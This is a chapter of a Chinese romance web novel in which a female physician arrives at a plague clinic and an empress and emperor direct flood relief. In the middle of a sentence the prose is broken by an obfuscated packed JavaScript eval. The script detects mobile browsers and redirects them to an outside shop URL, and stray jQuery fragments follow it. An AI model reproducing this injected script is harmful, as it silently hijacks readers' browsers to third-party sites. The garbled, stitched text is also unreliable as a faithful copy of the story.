54. 神医

作品:《皇后娘娘她不装了

    七月中,清江府。


    城东的茶棚坐满了五湖四海而来的游商过客。


    “这年头,生意真是难做!”一道粗犷的声音响起,陶制茶碗被重重拍在桌上,“老子大老远来一趟,才两天,货就被那群不要命的流民给抢了,报官也没用。”


    “之前还听人说江南繁华富庶——我呸!天下乌鸦一般黑,偌大一座府衙竟然连几个流民都压不住!”


    旁边有人拍拍他的肩:“干我们这行的,谁没吃过几个亏,只有一个‘忍’字。难不成你还想跟官府斗。”


    男人哼一声,不说话了。


    那人继续说:“兄台来得不是时候。近日清江可不太平。先是梅家家主遇害,后是暴雨洪水,又是贼寇又是流民的,可得小心着点。”


    “梅家?可是那个江南首富梅氏?”


    “正是。你竟不知?”他讶异道,“一月前,梅府突然遭了贼人屠戮,梅家父子双双殒命,整座府邸都被洗劫一空——想必是仇家干的。”


    “都死了?”男人大惊,指着对面一处粥棚,上边画着江南梅氏的徽纹,“那这是什么?”


    “兄台有所不知。据说梅家主年轻时曾有过一个女儿,临死前认了回来,把家业传给了她。这些粥棚,应是那位梅小姐设的。”


    男人回想起沿路见到的数十个粥棚,不禁叹道:“这位梅小姐倒是心善之人。”


    “这算什么?”茶摊的老板忍不住插话,“梅小姐不仅在城内外设了数百粥棚,还捐了千两白银用于赈灾,如此大的手笔,连我祖爷爷都没见过!”


    “梅氏这口子一开,城里的那些个商贾们也不好推脱,都捐了不少——这不,如今城里流民已少得多了。”


    “是啊。说不准抢走兄台货物的压根儿不是流民,而是假扮成流民的匪寇。官府自然睁一只眼闭一只眼。”


    男人一下弹起来:“你的意思是,他们跟官府是一伙儿的?!”


    那人连忙转过脸:“兄台慎言。我、我可没这么说!”


    众人正说得热火朝天,一架简便马车停在路旁,从里出来一名女子,面覆白纱,满头乌发只用一枚木簪挽着,从头到脚都是雪白的,一尘不染,衣袂翩翩,乍然看去,有种仙风道骨之感。


    隔着面纱,她的声音也轻飘飘的,好似盘桓在云端:“店家,请问回春堂怎么走?”


    茶棚老板愣了下,反问道:“姑娘是要看病?回春堂关了大半个月了,除了染上疫病上那儿等死的,大家都恨不得离那儿远远的。”


    “瞧姑娘年纪轻轻的,我劝你也别往那处去,要是倒霉染上了病,那可就惨了!——姑娘要看病,往西边走走,有家仁心堂。”


    女子耐心等他说完,不为所动:“多谢您提醒,不过我要去的的确是回春堂,劳烦您指路。”


    老板和门口的几个茶客一听,顿时连连退后几步,女子四周蓦地被留出一圈空地。


    老板迅速抬手往东边一指:“在那边,你稍微走走就到了。”


    “多谢。”


    女子留下这句话,未作停留,很快离开了。


    众人才放下心。


    “方才那女子看起来也没病啊,怎么还一头往回春堂跑?真不怕死啊。”


    有人还捂着口鼻,心有余悸道:“你不知道。我家里的表哥就是半月前染了疫病,开始还活蹦乱跳的,没过几天就浑身溃烂流脓,连下地都困难。”


    “兴许这女子是知道自己染了病,才急匆匆为自己找落脚点。虽说这病没得治,但去了回春堂,好歹能在死前讨个舒服。况且还不收钱。”


    “也是可怜啊。”


    ……


    回春堂大门紧闭,仅有一侧门虚掩着,一打开,里头一片忙乱。屋头院子里铺满了十几张草席,躺着的人满身溃烂,奄奄一息,几人来来往往,从头到脚裹着白布,只露出一双眼睛。


    日头毒辣,一白衣人躲到院子里唯一一处遮阳的草棚下,小心地用手背揩去眼周的汗水,晃了晃眩晕的脑袋,才注意到门口的来人。


    “不看病,姑娘请回吧。”


    声音清脆,原来白衣下是个姑娘。


    她声音有点不耐,说着就要上前关门。女子却先她一步用脚抵住了门,淡声开口:“此病不随空气传染,不必掩口鼻。这种天气穿着这一身衣服,岂不给自己找罪受。”


    白衣姑娘气愤道:“你——你是何人?竟在此口出狂言!”


    “在下苏临月。”


    白衣姑娘顷刻傻了眼,不可置信道:“苏……苏神医?!”


    “神医不敢当。”女子摘下面纱,轻轻一笑,“回春堂骆大夫可在?”


    *


    谢槿语百无聊赖地坐在亭子里吃葡萄。


    夏日午后格外炎热,饶是芙蕖拿着扇子不停在一旁扇风,她额间仍密密麻麻沁出细汗。


    好在葡萄是冰镇过的,入口沁甜,冰凉的汁水爆开,能暂时扫去几分扰人的暑气。


    她低头吐籽,小巧的瓷盘里葡萄籽堆成小山。又一颗晶莹剔透的葡萄被人褪去外衣递到嘴边,她舔了舔微微发涩的嘴唇,摇了摇头。


    一道温柔的声音从旁边传来:“不吃了?”


    “嗯。”她下意识看过去,对方点点头,不急不缓地把葡萄塞到自己嘴里,拿过桌上的帕子仔细地擦拭手上的汁水。


    那双手骨节分明,修长白净,一看就养尊处优惯了,即便是几处厚茧,也无不彰显着这是双握笔拿剑的手。


    白玉扳指被他重新戴回去,那双手顿时从方才的泥泞不堪恢复成往日的矜贵模样,即便是他面前摆了一整盘的葡萄皮,也很难让人将这双手和替人剥葡萄这一行为联系到一起。


    谢槿语托着腮,静静地看着他,像欣赏一幅画。


    一面想着,她一面思忖着他连日来的所作所为。


    实在令人匪夷所思。


    日日黏着她不说,更是三五不时替她剥水果扇扇子,甚至捶腿捏肩。


    她并不常吃葡萄,因为麻烦,与其为了几口弄得满手粘腻,不如不吃。


    但有天竹影几人不知从哪弄来一大筐新鲜葡萄,看得她垂涎欲滴,跃跃欲试,本想叫芙蕖剥几颗尝尝鲜,哪想到还没等她开口,就有一颗剥好了的送到面前。


    她实实在在地愣了下,鬼使神差地咬了下去,还差点咬到他的指尖。


    他看起来也是第一次做这种事,一大颗葡萄愣是只剩下半块果肉,而她吃进嘴里的,大概只有一半的一半。


    万事开头难,有一就有二——她就这样就着皇帝的手吃了半个月的葡萄。


    有天算账的时候她都忍不住想,这天子亲自剥的葡萄若是拿去拍卖,所得的钱是不是能再盖十座粥棚了?


    她还真是暴殄天物。


    “在想什么?”


    温柔的话音将她的思绪拉回,微风拂面,她便把心中所想说了出来。


    赵珩眉梢一挑:“据我所知,城内外的粥棚足以接济眼下的灾民,应无需朕亲自卖艺。”


    芙蕖在一旁憋笑,谢槿语噎了噎,嘟囔道:“我就是随口一说。”


    话音方落,唇边传来柔软的触感,他用帕子仔细拭去残留的汁液,目光专注。


    谢槿语动作一顿:“我、我自己来。”


    赵珩收回手:“好了。”


    她尴尬地缩回手,“嗯”了声,扭头去看池塘里的鲤鱼。


    男


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871990|188985||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人眼神柔和下来,静静望着她。


    静谧的时光并没维持多久,不一会儿便有人从廊下匆匆行来,进了凉亭,先是恭敬地朝二人一福身,才埋首道:


    “陛下,娘娘,回春堂那边有消息了!”碍于规矩,她的声音刻意压抑着,但不难听出其中的欣喜。


    “三日前来了个女神医,那些病人用了她开的方子,病情好转了不少,他们有救了!”


    谢槿语忽然想到什么:“那神医叫什么?”


    云袖愣了下,不确定道:“好像是姓苏……其他的我忘了。”


    谢槿语眼睛一亮,立刻从石凳上起了身:“走,我们去看看。”


    赵珩跟着站了起来:“我陪你去。”


    她脚步一顿,推辞道:“陛下日理万机,此等小事,哪用劳动陛下?我去就行了。”


    “无妨。”


    谢槿语心生一计,道:“陛下今日的奏章可批完了?”


    她爹派了专人来往送奏章,皇帝的政务比在宫里只多不少。


    赵珩:“不急,回来再批。”


    “此次受灾的月溪、安平和平湖三县,底下勘察的奏报,陛下都看过了?”


    一计不成再生一计。


    此次灾情的根源在于安平县的堤坝决口,祸及下游的月溪和平湖,眼下灾情虽稳定下来,但导致堤坝决口的原因除了天灾,更有人祸——恐怕与安平县衙多年来中饱私囊脱不了干系。


    此外,正好趁着农田被淹,好好查一查被豪强贵族侵占的田亩。


    这是个大工程,竹影几人忙得晕头转向,尤其是兰影,由于看护不力,被安排了最多最累的活,活脱脱瘦了好几圈,眼里的光都黯淡了。


    隔日的奏报呈送这种苦差事自然也落在了他头上,谢槿语好几次无意撞见他都难免心疼,可走到书房,瞧见皇帝眼下的乌青,又自发闭上了嘴。


    毕竟,他也并不比他们轻松。


    她知道他总要看到深夜,才故意有此一问,没想到他却淡淡“嗯”了声。


    难道那些棘手的事情都解决了?


    谢槿语不自觉蹙起眉头,他便好整以暇地看着,唇角微微上扬。


    “若不出意外,梁大人今日便该到了,陛下还是留在府里,省得叫梁大人白跑一趟。”谢槿语笑着抬起下巴,“您说呢?”


    工部右侍郎梁绍,是此次皇帝和她爹共同钦定的负责赈灾的钦差大臣。皇帝微服私访一事,他在出发时已经知晓。此人性情敦直,务实清正以至有些墨守成规,依照他的性格,只要到了清江,一定会第一时间来拜见皇帝。


    赵珩神色果然闪过一丝犹豫,刚想说点什么,只见亭外侍从赶来:“陛下,梁大人到了。”


    此处是“景昭”的一处私宅,占地不大,胜在别致,里边侍奉的不是宫人就是侍卫。免去乔装的同时,下人们言行举止都规矩了不少,谢槿语时常觉得仿佛回到了皇宫。


    赵珩叹口气,无奈一笑:“那你带上护卫,早去早回。”说完忍不住揉了揉她的脑袋。


    谢槿语躲避不及,只能由着他动作,随他一道往大门口走。


    一面走着,她接过芙蕖递来的藩篱戴好,从侧门出,目光不动声色扫过正门口那道朱红色的身影,利落地钻进备好的马车。


    赵珩一袭江南贵公子常穿的轻薄绸衫,跨过门槛,正要拱手,便被梁绍颤巍巍的双手按了回去。


    战战兢兢入了府,门闩落定的声音方起,朱袍大员立时跪地俯首:


    “微臣,参见陛下。”


    皇帝脸上的笑意已尽数敛去,哪还有方才门前那副贵公子潇洒的样子,负手立于院中,不怒自威。


    “梁大人不必多礼。”